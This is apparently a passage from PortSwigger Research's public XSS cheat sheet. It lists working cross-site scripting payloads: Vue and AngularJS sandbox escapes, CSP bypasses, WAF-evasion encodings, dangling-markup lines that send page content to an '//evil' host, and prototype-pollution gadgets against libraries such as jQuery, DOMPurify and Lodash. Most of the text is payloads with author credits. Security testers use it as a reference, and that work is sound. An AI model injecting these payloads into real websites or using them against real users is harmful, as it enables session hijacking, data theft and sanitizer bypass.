<x :[_b.constructor`alert(1)`()]>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x #[_c.constructor`alert(1)`()]>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

31

<xyz<img/src onerror=alert(1)>>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

59

<a @['c\lic\u{6b}']="_c.constructor('alert(1)')()">test</a>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{$el.ownerDocument.defaultView.alert(1)}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

56

{{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

45

<img src @error=e=$event.path.pop().alert(1)>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

55

<img src @error=e=$event.composedPath().pop().alert(1)>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

30

<img src @error=this.alert(1)>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

24

<svg@load=this.alert(1)>

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

{{_openBlock.constructor('alert(1)')()}}

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{_createBlock.constructor('alert(1)')()}}

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

46

{{_toDisplayString.constructor('alert(1)')()}}

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{_createVNode.constructor('alert(1)')()}}

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

47

<p v-show=_createBlock.constructor`alert(1)`()>

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

41

<x @[_openBlock.constructor`alert(1)`()]>

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

<x @[_capitalize.constructor`alert(1)`()]>

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x @click=_withCtx.constructor`alert(1)`()>click</x>

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

<x @click=$event.view.alert(1)>click</x>

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

34

{{_Vue.h.constructor`alert(1)`()}}

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

{{$emit.constructor`alert(1)`()}}

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

35

<component is=script text=alert(1)>

AngularJS sandbox escapes reflected

Version:

Author:

Length:

Vector:

Copy:

1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}

1.2.2 - 1.2.5

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}

1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}

>=1.6.0 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}

DOM based AngularJS sandbox escapes

(Using orderBy or no $eval)

Version:

Author:

Length:

Vector:

Copy:

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

20

{}.")));alert(1)//";

AngularJS CSP bypasses

Version:

Author:

Length:

Vector:

Copy:

All versions (Chrome) shorter

Gareth Heyes (PortSwigger)

56

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>

All versions (Chrome) shorter via oncut

Savan Gadhiya (NotSoSecure)

49

<input ng-cut=$event.path|orderBy:'(y=alert)(1)'>

Scriptless attacks

Dangling markup

Img to pass markup through src attribute

<img src="//evil? <image src="//evil?

Video using track element

<video><track default src="//evil?

Video using source element and src attribute

<video><source src="//evil?

Audio using source element and src attribute

<audio><source src="//evil?

Object data

<object data="//evil?

Iframe src

<iframe src="//evil?

Embed src

<embed src="//evil?

Use textarea to consume markup and post to external site

<form><button formaction=//evil>XSS</button><textarea name=x>

Pass markup data through window.name using form target

<button form=x>XSS</button><form id=x action=//evil target='

Using embed window name to pass data from the page

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Using iframe window name to pass data from the page

<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Using object window name to pass data from the page

<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Overwrite type attribute with image in hidden inputs

<input type=hidden type=image src="//evil?

Polyglots

WAF bypass global objects

XSS into a JavaScript string: string concatenation (window)

';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: string concatenation (self)

';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: string concatenation (this)

';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: string concatenation (top)

';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: string concatenation (parent)

';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: string concatenation (frames)

';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: string concatenation (globalThis)

';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//

XSS into a JavaScript string: comment syntax (window)

';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: comment syntax (self)

';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: comment syntax (this)

';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: comment syntax (top)

';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: comment syntax (parent)

';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: comment syntax (frames)

';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: comment syntax (globalThis)

';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//

XSS into a JavaScript string: hex escape sequence (window)

';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence (self)

';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence (this)

';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence (top)

';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence (parent)

';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence (frames)

';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence (globalThis)

';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)

';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)

';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)

';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)

';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)

';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)

';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)

';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//

XSS into a JavaScript string: octal escape sequence (window)

';window['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: octal escape sequence (self)

';self['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: octal escape sequence (this)

';this['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: octal escape sequence (top)

';top['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: octal escape sequence (parent)

';parent['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: octal escape sequence (frames)

';frames['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: octal escape sequence (globalThis)

';globalThis['\141\154\145\162\164']('\130\123\123');//

XSS into a JavaScript string: unicode escape (window)

';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: unicode escape (self)

';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: unicode escape (this)

';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: unicode escape (top)

';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: unicode escape (parent)

';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: unicode escape (frames)

';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: unicode escape (globalThis)

';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS into a JavaScript string: RegExp source property (window)

';window[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: RegExp source property (self)

';self[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: RegExp source property (this)

';this[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: RegExp source property (top)

';top[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: RegExp source property (parent)

';parent[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: RegExp source property (frames)

';frames[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: RegExp source property (globalThis)

';globalThis[/al/.source+/ert/.source](/XSS/.source);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (window)

';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (self)

';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (this)

';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (top)

';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)

';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)

';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)

';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Content types

This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.

Response content types

This section lists content-types that can be used for XSS when you can inject into the content-type header.

Impossible labs

To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.

Title Description Length limit Closest vector Link
Basic context, WAF blocks <[a-zA-Z]This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.N/AN/A🔗
Script based injection but quotes, forward slash and backslash are escapedWe often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block.

The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML.
N/AN/A🔗
innerHTML context but no equals allowedYou have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event.N/AN/A🔗
Basic context length limitThis lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?15<q oncut=alert``🔗
Attribute context length limitThe context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?14"oncut=alert`` 🔗
Basic context length limit, arbitrary codeIt's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.19<q oncut=eval(name)🔗
Attribute context length limit arbitrary codeAgain calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.17See link🔗
Injection occurs inside a frameset but before the bodyWe received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.N/AN/A🔗
Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed.The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.`N/AN/A🔗

Prototype pollution

Library Payload Author Version Fingerprint
Wistia Embedded Video<script>
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
</script>
William BowlingAll versionsreturn (typeof wistiaEmbeds !== 'undefined')
$(x).off jQuery<script>
Object.prototype.preventDefault='x';
Object.prototype.handleObj='x';
Object.prototype.delegateTarget='<img/src/onerror=alert(1)>';
/* No extra code needed for jQuery 1 & 2 */$(document).off('foobar');
</script>
Sergey BobrovAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$(html) jQuery<script>
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script><script>
$('<div x="x"></div>')
</script>
Sergey BobrovAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.get jQuery<script>
Object.prototype.url = ['data:,alert(1)//'];
Object.prototype.dataType = 'script';
</script>
<script>
$.get('https://google.com/');
$.post('https://google.com/');
</script>
Michał Bentkowski>= 3.0.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery<script>
Object.prototype.src = ['data:,alert(1)//']
</script>
<script>
$.getScript('https://google.com/')
</script>
s1r1us>= 3.4.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery<script>
Object.prototype.url = 'data:,alert(1)//'
</script>
<script>
$.getScript('https://google.com/')
</script>
s1r1us3.0.0 - 3.3.1return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
Google reCAPTCHA<script>
Object.prototype.srcdoc=['<script>alert(1)<\/script>']
</script>
<div class="g-recaptcha" data-sitekey="your-site-key"/>
s1r1usreturn (typeof recaptcha !== 'undefined')
Twitter Universal Website Tag<script>
Object.prototype.hif = ['javascript:alert(document.domain)'];
</script>
Sergey Bobrovreturn (typeof twq !== 'undefined' && typeof twq.version !== 'undefined')
Tealium Universal Tag<script>
Object.prototype.attrs = {src:1};
Object.prototype.src='https://portswigger-labs.net/xss/xss.js'
</script>
Sergey Bobrovreturn (typeof utag !== 'undefined' && typeof utag.id !== 'undefined')
Akamai Boomerang<script>Object.prototype.BOOMR = 1;
Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script>
s1r1usreturn (typeof BOOMR !== 'undefined')
Lodash<script>
Object.prototype.sourceURL = '\u2028\u2029alert(1)'
</script>
<script>
_.template('test')
</script>
Alex Brasetvik<= 4.17.15return (typeof _ !== 'undefined' && typeof _.template !== 'undefined' && typeof _.VERSION !== 'undefined')
sanitize-html<script>
Object.prototype['*'] = ['onload']</script>
<script>
document.write(sanitizeHtml('<iframe onload=alert(1)>'))
</script>
Michał Bentkowskireturn (typeof sanitizeHtml !== 'undefined')
js-xss<script>
Object.prototype.whiteList = {img: ['onerror', 'src']}
</script>
<script>
document.write(filterXSS('<img src onerror=alert(1)>'))
</script>
Michał Bentkowskireturn (typeof filterXSS !== 'undefined')
DOMPurify<script>
Object.prototype.ALLOWED_ATTR = ['onerror', 'src']
</script>
<script>
document.write(DOMPurify.sanitize('<img src onerror=alert(1)>'))
</script>
Michał Bentkowski<= 2.0.12return (typeof DOMPurify !== 'undefined')
DOMPurify<script>
Object.prototype.documentMode = 9
</script>
Michał Bentkowski<= 2.0.12return (typeof DOMPurify !== 'undefined')
Closure<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>
Michał Bentkowskireturn (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Closure<script>
Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
</script>
Michał Bentkowskireturn (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Marionette.js / Backbone.js<script>
Object.prototype.tagName = 'img'
Object.prototype.src = ['x:x']
Object.prototype.onerror = ['alert(1)']
</script>
<script>
(function() {
var View = Mn.View.extend({template: '#template-layout'});
var App = Mn.Application.extend({region: '#app', onStart: function() {this.showView(new View());}});
var app = new App();
app.start();
})();
</script>
<div id="template-layout" type="x-template/underscore">xxx</div>
Sergey Bobrovreturn (typeof Marionette !== 'undefined') return (typeof Backbone !== 'undefined' && typeof Backbone.VERSION !== 'undefined')
Adobe Dynamic Tag Management<script>
Object.prototype.src='data:,alert(1)//'
</script>
Sergey Bobrovreturn (typeof _satellite !== 'undefined')
Embedly Cards<script>
Object.prototype.onload = 'alert(1)'
</script>
Guilherme Keerokreturn (typeof window.embedly !== 'undefined')
Segment Analytics.js<script>
Object.prototype.script = [1,'<img/src/onerror=alert(1)>','<img/src/onerror=alert(2)>']
</script>
Sergey Bobrovreturn (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined')
Knockout.js<strong data-bind="text:'hello'"></strong>
<script>
Object.prototype[4]="a':1,[alert(1)]:1,'b";Object.prototype[5]=',';
</script><script>
ko.applyBindings({})
</script>
Michał Bentkowski

Classic vectors (XSS crypt)

Image src with JavaScript protocol

<img src="javascript:alert(1)">

Body background with JavaScript protocol

<body background="javascript:alert(1)">

Iframe data urls no longer work as modern browsers use a null origin

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">

JScript compact was a minimal version of JS that wasn't widely used in IE

<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>

JavaScript entities used to work in Netscape Navigator

<a title="&{alert(1)}">XSS</a>

JavaScript stylesheets used to be supported by Netscape Navigator

<link href="xss.js" rel=stylesheet type="text/javascript">

Button used to consume markup

<form><button name=x formaction=x><b>stealme

XBL Firefox only <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"> <div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">

CSS expressions <=IE7

<div style=xss:expression(alert(1))> <div style=xss:expression(1)-alert(1)> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio\006e(alert(1))> <div style=xss:expressio\00006e(alert(1))> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio&#x5c;6e(alert(1))>

In quirks mode IE allowed you to use = instead of :

<div style=xss=expression(alert(1))> <div style="color&#x3dred">test</div>

GreyMagic HTML+time exploit (no longer works even in 5 docmode)

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>

Firefox allows NULLS after &

<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>

Firefox allows NULLs inside named entities

<a href="javascript&colon;alert(1)">Firefox</a>

Safari used to allow any tag to have a onload event inside SVG

<svg><xss onload=alert(1)>

Isindex using src attribute

<isindex type=image src="//evil?

Credits

Brought to you by PortSwigger Research.

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us

You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request